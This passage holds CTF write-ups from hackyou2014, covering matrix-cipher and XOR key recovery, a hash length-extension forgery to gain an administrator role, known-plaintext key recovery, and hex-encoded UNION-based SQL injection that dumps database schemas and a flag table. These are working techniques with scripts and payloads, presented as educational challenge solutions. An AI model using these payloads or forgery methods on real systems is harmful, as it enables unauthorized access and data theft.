        out.write(Matrix2str(cipher))
    out.close()
    return cipher

def Decrypt(fname,key):  
    data = open(fname, 'rb').read()
    length = int(unpack('!I', data[0:4])[0])
    data = data[4:]
    out = open(fname + '.orig', 'wb')
    for i in xrange(0, len(data), 32):
        mdata = DecStr2matrix(data[i:i+32])
        clear = matrix(mdata)*key.I
        m = clear.round().tolist()
        m = [[int(item) for item in row] for row in m]
        out.write(DecMatrix2str(m))
    out.close()
    return clear

def ExtractKey(fname, clearstring):  
    data = open(fname, 'rb').read()
    cipher = data[4:36]
    clear = clearstring.decode("hex")
    mclear = matrix(Str2matrix(clear))
    mcipher = matrix(DecStr2matrix(cipher))
    mkey = mclear.I*mcipher
    return mkey

#Encrypt('flag.wmv')
ourkey = matrix(Generate(5))  
print"[+] Extract key"  
key = ExtractKey("flag.wmv.out", "3026b2758e66cf11a6d900aa0062ce6c")  
print("[+] Key:\n{0}".format(key))  
print"[+] Decrypt video"  
clear = Decrypt("flag.wmv.out",key)  

So running the script gets the vide decrypted:

[email protected] ~/D/h/crypto300> python crack2.py  
[+] Extract key
[+] Key:
[[ 31.  51.  20.   0.]
 [ 53.  10.   6.  45.]
 [  3.  13.   3.  49.]
 [ 17.  48.  56.  31.]]
[+] Decrypt video

#hackyou2014 Crypto200 write-up

In this level we are said that our challange is login with administrator role in a service listening on hackyou2014tasks.ctf.su 7777
We are given the following source code:

#!/usr/bin/python
from math import sin  
from urlparse import parse_qs  
from base64 import b64encode  
from base64 import b64decode  
from re import match

SALT = ''  
USERS = set()  
KEY = ''.decode('hex')

def xor(a, b):  
    return ''.join(map(lambda x : chr(ord(x[0]) ^ ord(x[1])), zip(a, b * 100)))

def hashme(s):  
    #my secure hash function
    def F(X,Y,Z):
        return ((~X & Z) | (~X & Z)) & 0xFFFFFFFF
    def G(X,Y,Z):
        return ((X & Z) | (~Z & Y)) & 0xFFFFFFFF
    def H(X,Y,Z):
        return (X ^ Y ^ Y) & 0xFFFFFFFF
    def I(X,Y,Z):
        return (Y ^ (~Z | X)) & 0xFFFFFFFF
    def ROL(X,Y):
        return (X << Y | X >> (32 - Y)) & 0xFFFFFFFF

    A = 0x67452301
    B = 0xEFCDAB89
    C = 0x98BADCFE
    D = 0x10325476
    X = [int(0xFFFFFFFF * sin(i)) & 0xFFFFFFFF for i in xrange(256)]

    for i,ch in enumerate(s):
        k, l = ord(ch), i & 0x1f
        A = (B + ROL(A + F(B,C,D) + X[k], l)) & 0xFFFFFFFF
        B = (C + ROL(B + G(C,D,A) + X[k], l)) & 0xFFFFFFFF
        C = (D + ROL(C + H(D,A,B) + X[k], l)) & 0xFFFFFFFF
        D = (A + ROL(D + I(A,B,C) + X[k], l)) & 0xFFFFFFFF

    return ''.join(map(lambda x : hex(x)[2:].strip('L').rjust(8, '0'), [B, A, D, C]))

def gen_cert(login):  
    global SALT, KEY
    s = 'login=%s&role=anonymous' % login
    s += hashme(SALT + s)
    print("decrypted cert: %s" % s)
    s = b64encode(xor(s, KEY))
    print("encrypted cert: %s" % s)
    return s

def register():  
    global USERS
    login = raw_input('Your login: ').strip()
    if not match('^[\w]+$', login):
        print '[-] Wrong login'
        return
    if login in USERS:
        print '[-] Username already exists'
    else:
        USERS.add(login)
        print '[+] OK\nYour auth certificate:\n%s' % gen_cert(login)

def auth():  
    global SALT, KEY
    cert = raw_input('Provide your certificate:\n').strip()
    try:
        cert = xor(b64decode(cert), KEY)
        print cert
        auth_str, hashsum = cert[0:-32], cert[-32:]
        print auth_str
        print hashsum
        if hashme(SALT + auth_str) == hashsum:
            data = parse_qs(auth_str, strict_parsing = True)
            print '[+] Welcome, %s!' % data['login'][0]
            if 'administrator' in data['role']:
                flag = open('flag.txt').readline()
                print flag
        else:
            print '[-] Auth failed'
    except:
        print '[-] Error'


def start():  
    while True:
        print '======================'
        print '[0] Register'
        print '[1] Login'
        print '======================'
        num = raw_input().strip()
        if num == '0':
            register()
        elif num == '1':
            auth()

start()  

The service generates certificate when you register that you need to present in order to login in.
The certificate is a XOR encrypted version of the following string:

login=<login>&role=anonymous<salted hash of login+role string>  

The problem is that we dont know the encryption key nor the hash salt. So let's take it one step at a time:

Getting the key to the kingdom

Getting the key was the easy part as the cert is encrypted in an ECB way, we only need to send a login name long enough so that the whole key is xored with our know long login name, so we register the user:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  

And get the cert:

RK5yZMJaRRl8LVBk5mx9xmVfPhXWqPlNObWPakmd6mpMs0qh6p9KVhBr0hqGJCE9tKRpgFRM7SZFGXwtUGTmbH3GZV8+Fdao+U05tY9qSZ3qakyzSqHqn0pWEGvSGoYkIT20pGmAVEztJkUZfC1QZOZsfcZlXz4V1qj5TTm1j2pJnepqTLNKoeqfSlYQa9IahiQhPbSkaYBUTO0mRRl8LVBk5mx9xmVfPhXWqPlNObWPakmd6mpMs0qh6p9KVhBr0hqGJCE9tKRpgFRM7SZFGXwtUGTmbH3GZV8+Fdao+U05tY9qSZ3qakyzSqHqn0pWEGvSGoYkIT20pA6zemHJWmU2UgJoSMhYT7cXe0kyoN7cakrNq0lu7MgSaJYz0p/rb3NpE6FqpgZQ  

Now if we xor the two together (adding "login=" before the login name) we get the key and since our login name was long enough we can extract the key that is repeated several times:

28c1150dac6704583d6c1125a72d3c87241e7f5497e9b80c78f4ce2b08dcab2b0df20be0abde0b17512a935bc765607cf5e5  

Now we can decrypt our cert and extrack the login string and hashsum:

[+] Credentials: login=pwntester&role=anonymous
[+] Hashsum: 3e4d482fd5ce578af79312466b50b8f6

Putting some salt

Our goal is to submit an "administrator" version of the string so we need to know the salt in order to produce the right hash that is going to be checked in the server ... or not?
Well, actually, the hashing function is not reversible and no collisions are found easy, but there is still hope in the way of Length extension attacks. Actually is even simpler since we dont have to care about the padding!
Ok, so here is the idea.

  • The Hashing state machine starts in a initial state (that we know, check A,B,C,D in the hashme function)
  • The hashing machine iterates over all the characters (abcd) and ends in a different state that is returned as the hashsum
  • If we extend the original characters (abcd1234) and pass it to the hash function, we can do two things:
    • Start from scratch, reset the hash FSM, and calculate process it till there are no more characters and we return the last state in the form of a hashsum
    • Since we already hashed some characters and know the machine state, we can modify the hash FSM so its initial state is the one returned when we hashed (abcd) and then just continue from that state with the new characters (1234) until there are no more characters and we return the state in the form of a hashsum

Well, the server is going to do the first approach, but we can do the second without knowing the Salt!! So we know that "login=pwntester&role=anonymous" hash is 3e4d482fd5ce578af79312466b50b8f6.

Lets say we want to calculate the hash of "login=pwntester&role=anonymousNEWSTUFFHERE", we can reset the Hash machine so its initial state is 3e4d482fd5ce578af79312466b50b8f6 and then just hash the "NEWSTUFFHERE", the result will be the same hash as hashing the whole string.

Now, if we focus on the auth() method:

def auth():  
    global SALT, KEY
    cert = raw_input('Provide your certificate:\n').strip()
    try:
        cert = xor(b64decode(cert), KEY)
        print cert
        auth_str, hashsum = cert[0:-32], cert[-32:]
        print auth_str
        print hashsum
        if hashme(SALT + auth_str) == hashsum:
            data = parse_qs(auth_str, strict_parsing = True)
            print '[+] Welcome, %s!' % data['login'][0]
            if 'administrator' in data['role']:
                flag = open('flag.txt').readline()
                print flag
        else:
            print '[-] Auth failed'
    except:
        print '[-] Error'

We can see that the auth string is parsed as a query string (parse_qs) so if we pass different parameters with the same name, they will be treated as an array.
Then the "if 'administrator' in data['role']" will pass if one of them is administrator

So now we know what we need to hash:

login=pwntester&role=anonymous&role=administrator  

This is the function I wrote to hash from a given state:

def hashmeFromState(s,hash,init):  
    #my secure hash function
    def F(X,Y,Z):
        return ((~X & Z) | (~X & Z)) & 0xFFFFFFFF
    def G(X,Y,Z):
        return ((X & Z) | (~Z & Y)) & 0xFFFFFFFF
    def H(X,Y,Z):
        return (X ^ Y ^ Y) & 0xFFFFFFFF
    def I(X,Y,Z):
        return (Y ^ (~Z | X)) & 0xFFFFFFFF
    def ROL(X,Y):
        return (X << Y | X >> (32 - Y)) & 0xFFFFFFFF


    B = int(hash[0:8], 16)
    A = int(hash[8:16], 16)
    D = int(hash[16:24], 16)
    C = int(hash[24:32], 16)

    X = [int(0xFFFFFFFF * sin(i)) & 0xFFFFFFFF for i in xrange(256)]

    i = init
    for j,ch in enumerate(s):
        # We add the length of the previous state (we dont know secret length so we have to brute force it) to restaurate the state
        k, l = ord(ch), i & 0x1f
        if j==0:
            print("hashmeext pos:{0} char:{1} l:{2}".format(j,ch,l))
        A = (B + ROL(A + F(B,C,D) + X[k], l)) & 0xFFFFFFFF
        B = (C + ROL(B + G(C,D,A) + X[k], l)) & 0xFFFFFFFF
        C = (D + ROL(C + H(D,A,B) + X[k], l)) & 0xFFFFFFFF
        D = (A + ROL(D + I(A,B,C) + X[k], l)) & 0xFFFFFFFF
        i += 1

    return ''.join(map(lambda x : hex(x)[2:].strip('L').rjust(8, '0'), [B, A, D, C]))

Note that we dont know the length of the Salt, so we need to brute force it to initialize the hash FST in the right state. After running the script against the live service, we get that the right length is 18:

[email protected] ~/D/h/crypto200> python crack.py  
[+] Concatenated key (250 bytes): 28c1150dac6704583d6c1125a72d3c87241e7f5497e9b80c78f4ce2b08dcab2b0df20be0abde0b17512a935bc765607cf5e528c1150dac6704583d6c1125a72d3c87241e7f5497e9b80c78f4ce2b08dcab2b0df20be0abde0b17512a935bc765607cf5e528c1150dac6704583d6c1125a72d3c87241e7f5497e9b80c78f4ce2b08dcab2b0df20be0abde0b17512a935bc765607cf5e528c1150dac6704583d6c1125a72d3c87241e7f5497e9b80c78f4ce2b08dcab2b0df20be0abde0b17512a935bc765607cf5e528c1150dac6704583d6c1125a72d3c87241e7f5497e9b80c78f4ce2b08dcab2b0df20be0abde0b17512a935bc765607cf5e5
[+] Key: 28c1150dac6704583d6c1125a72d3c87241e7f5497e9b80c78f4ce2b08dcab2b0df20be0abde0b17512a935bc765607cf5e5
[+] Credentials: login=pwntester&role=anonymous
[+] Hashsum: 3e4d482fd5ce578af79312466b50b8f6
[+] User Credentials: login=pwntester&role=anonymous3e4d482fd5ce578af79312466b50b8f6
[+] User Cert: RK5yZMJadC9TGHRW00hOoVZxEzGqiNZjFo2jRH2vmE45lj/YmbhvIjJPpmz/BAZLzNYZ8yE7mgUxaF9UdxM=
[-] Auth failed
hashmeext pos:0 char:& l:1  
[+] Admin Credentials (secret length=1: login=pwntester&role=anonymous&role=administrator72d2e3d8de7b390f146cc6b5e8552ea8)
[+] Admin Cert (secret length=1: RK5yZMJadC9TGHRW00hOoVZxEzGqiNZjFo2jRH2vjVlinm7dyrpmfj9D4C+1BBQTh9IapSdonwM8PFhbcxaeHVq2ECgcN6GLjWlAwfsZbb2T)
[+] Admin Cert decoded (secret length=1: login=pwntester&role=anonymous&role=administrator72d2e3d8de7b390f146cc6b5e8552ea8)

...
...
...

[-] Auth failed
hashmeext pos:0 char:& l:18  
[+] Admin Credentials (secret length=18: login=pwntester&role=anonymous&role=administrator6ca059630c51cb32e3d791aeca560eae)
[+] Admin Cert (secret length=18: RK5yZMJadC9TGHRW00hOoVZxEzGqiNZjFo2jRH2vjVlinm7dyrpmfj9D4C+1BBQTh9NLoCU4lVE3aF5ZIEbFHg7iF3pIbaaI3W8Zwfgbbb3O)
[+] Admin Cert decoded (secret length=18: login=pwntester&role=anonymous&role=administrator6ca059630c51cb32e3d791aeca560eae)

[+] Welcome
Eureka!!  

Now we can use the cert to login and get the flag:

RK5yZMJadC9TGHRW00hOoVZxEzGqiNZjFo2jRH2vjVlinm7dyrpmfj9D4C+1BBQTh9NLoCU4lVE3aF5ZIEbFHg7iF3pIbaaI3W8Zwfgbbb3O  
[email protected] ~/D/h/crypto200> nc hackyou2014tasks.ctf.su 7777                                                                                                                                                                                                            1  
======================
[0] Register
[1] Login
======================
1  
Provide your certificate:  
RK5yZMJadC9TGHRW00hOoVZxEzGqiNZjFo2jRH2vjVlinm7dyrpmfj9D4C+1BBQTh9NLoCU4lVE3aF5ZIEbFHg7iF3pIbaaI3W8Zwfgbbb3O  
[+] Welcome, pwntester!
CTF{40712b12d4be002e20f51424309a068c}  

#hackyou2014 Crypto100 write-up

In this level we are asked to break a code and decrypt msg002.enc. We are given the encryptor code without the key:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {  
    if (argc != 3) {
        printf("USAGE: %s INPUT OUTPUT\n", argv[0]);
        return 0;
    }
    FILE* input  = fopen(argv[1], "rb");
    FILE* output = fopen(argv[2], "wb");
    if (!input || !output) {
        printf("Error\n");
        return 0;
    }
    char k[] = "CENSORED";
    char c, p, t = 0;
    int i = 0;
    while ((p = fgetc(input)) != EOF) {
        c = (p + (k[i % strlen(k)] ^ t) + i*i) & 0xff;
        t = p;
        i++;
        fputc(c, output);
    }
    return 0;
}

And we are also given a plaintext (msg001) and its corresponding cryptotext (msg001.enc) so we can easily extract the key with something like:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {  
    if (argc != 2) {
        printf("USAGE: %s CRYPTO \n", argv[0]);
        return 0;
    }
    FILE* input  = fopen(argv[1], "rb");
    if (!input) {
        printf("Error\n");
        return 0;
    }

    char c, p, t = 0;
    int i = 0;

    // We use the following loop to get the key knowing the cryptotext(input) and plaintaext(w[])
    char w[] = "Hi! This is only test message";
    unsigned int j = 0;
    while ((p = fgetc(input)) != 0) {
        // printf("read %d", p);
        for (j=31;j<125;j++) {
            c = (p - (j ^ t) - i*i) & 0xff;
            if (c == w[i]) {
                printf("%c\n",j);
                t = c;
                i++;
                break;
            }
        }
    }
    return 0;
}

The resulting key is: VeryLongKeyYouWillNeverGuess
Now we can use a decryptor to extract msg002:

 #include <stdlib.h>
 #include <stdio.h>
 #include <string.h>

 int main(int argc, char **argv) {
    if (argc != 3) {
         printf("USAGE: %s INPUT OUTPUT\n", argv[0]);
         return 0;
     }
     FILE* input  = fopen(argv[1], "rb");
     FILE* output = fopen(argv[2], "wb");
     if (!input || !output) {
         printf("Error\n");
         return 0;
     }


     char c, p, t = 0;
     int i = 0;

    char k[] = "VeryLongKeyYouWillNeverGuess";
    i = 0;
    c, p, t = 0;
    int g = 0;
    while ((p = fgetc(input)) != 1) {
        c = (p - (k[i % strlen(k)] ^ t) - i*i) & 0xff;
         printf("Decrypting %x i=%d t=%d k=%d -> %d\n",p,i,t,(k[i % strlen(k)] ^ t),c);
        t = c;
        i++;
         //printf("%c",c);
         fputc(c, output);
         g++;
         if (g>450) {break;}
    }

    return 0;
 }

And the results are:

The known-plaintext attack (KPA) is an attack model for cryptanalysis where the attacker has samples of both the plaintext (called a crib), and its encrypted version (ciphertext). These can be used to reveal further secret information such as secret keys and code books. The term "crib" originated at Bletchley Park, the British World War II decryption operation. The flag is CTF{6d5eba48508efb13dc87220879306619}

#hackyou2014 Web100 write-up

In this level we are presented with some logos we can vote.

If we look at the source code we can see an interesting comment:

...
<!-- TODO: remove index.phps -->  
...

We can grab the source code:

 <?php
include 'db.php';  
session_start();  
if (!isset($_SESSION['login'])) {  
    $_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
}
$login = $_SESSION['login'];

if (isset($_POST['submit'])) {  
    if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id']))
        die('Hacking attempt!');
    $id = $_POST['id'];
    $vote = (int)$_POST['vote'];
    if ($vote > 5 || $vote < 1)
        $vote = 1;
    $q = mysql_query("INSERT INTO vote VALUES ({$id}, {$vote}, '{$login}')");
    $q = mysql_query("SELECT id FROM vote WHERE user = '{$login}' GROUP BY id");
    echo '<p><b>Thank you!</b> Results:</p>';
    echo '<table border="1">';
    echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>';
    while ($r = mysql_fetch_array($q)) {
        $arr = mysql_fetch_array(mysql_query("SELECT title FROM picture WHERE id = ".$r['id']));
        echo '<tr><td>'.$arr[0].'</td>';
        $arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM vote WHERE id = ".$r['id']));
        echo '<td>'.$arr[0].'</td><td>'.round($arr[1],2).'</td></tr>';
    }
    echo '</table>';
    echo '<br><a href="index.php">Back</a><br>';
    exit;
}
<html>  
<head>  
    <title>Picture Gallery</title>
</head>  
<body>  
<p>Welcome, <?php echo $login; ?></p>  
<p>Help us to choose the best logo!</p>  
<form action="index.php" method="POST">  
<table border="1" cellspacing="5">  
<tr>  
$q = mysql_query('SELECT * FROM picture');
while ($r = mysql_fetch_array($q)) {  
    echo '<td><img src="./images/'.$r['image'].'"><div align="center">'.$r['title'].'<br><input type="radio" name="id" value="'.$r['id'].'"></div></td>';
}
</tr>  
</table>  
<p>Your vote:  
<select name="vote">  
<option value="1">1</option>  
<option value="2">2</option>  
<option value="3">3</option>  
<option value="4">4</option>  
<option value="5">5</option>  
</select></p>  
<input type="submit" name="submit" value="Submit">  
</form>  
</body>  
</html>  
<!-- TODO: remove index.phps -->  

We cannot inject in vote because it is casted to an integer and the value is verified but we can inject in id if we can bypass the is_numeric function. Actually, it was quite easy, we can submit hexadecimal values and benefit from how mysql handles hex literals.
We can verify the injection submiting:

0x39393939393939393939393920756e696f6e20616c6c202873656c656374202748656c6c6f21212729  
999999999999 union all (select 'Hello!!')  

The server will return:

Ok, now we can try something more interesting:

0x39393939393939393939393920756e696f6e20616c6c202853454c4543542047524f55505f434f4e43415428736368656d615f6e616d65292046524f4d20696e666f726d6174696f6e5f736368656d612e736368656d61746129  
999999999999 union all (SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)  
information_schema,mysql,performance_schema,task,test  

From "task"

0x39393939393939393939393920756e696f6e20616c6c202853454c4543542047524f55505f434f4e434154287461626c655f6e616d65292046524f4d20696e666f726d6174696f6e5f736368656d612e7461626c6573205748455245207461626c655f736368656d61203d20277461736b2729  
999999999999 union all (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'task')  
Flag,picture,vote  

Now the columns:

0x39393939393939393939393920756e696f6e20616c6c202853454c4543542047524f55505f434f4e43415428636f6c756d6e5f6e616d65292046524f4d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73205748455245207461626c655f736368656d61203d20277461736b2720616e64207461626c655f6e616d653d27466c61672729  
999999999999 union all (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema = 'task' and table_name='Flag')  
flag  

And finally:

0x39393939393939393939393920756e696f6e20616c6c202853454c4543542047524f55505f434f4e43415428666c6167292066726f6d20466c616729  
999999999999 union all (SELECT GROUP_CONCAT(flag) from Flag)  
CTF{820178c33c03aaa7cfe644c691679cf8}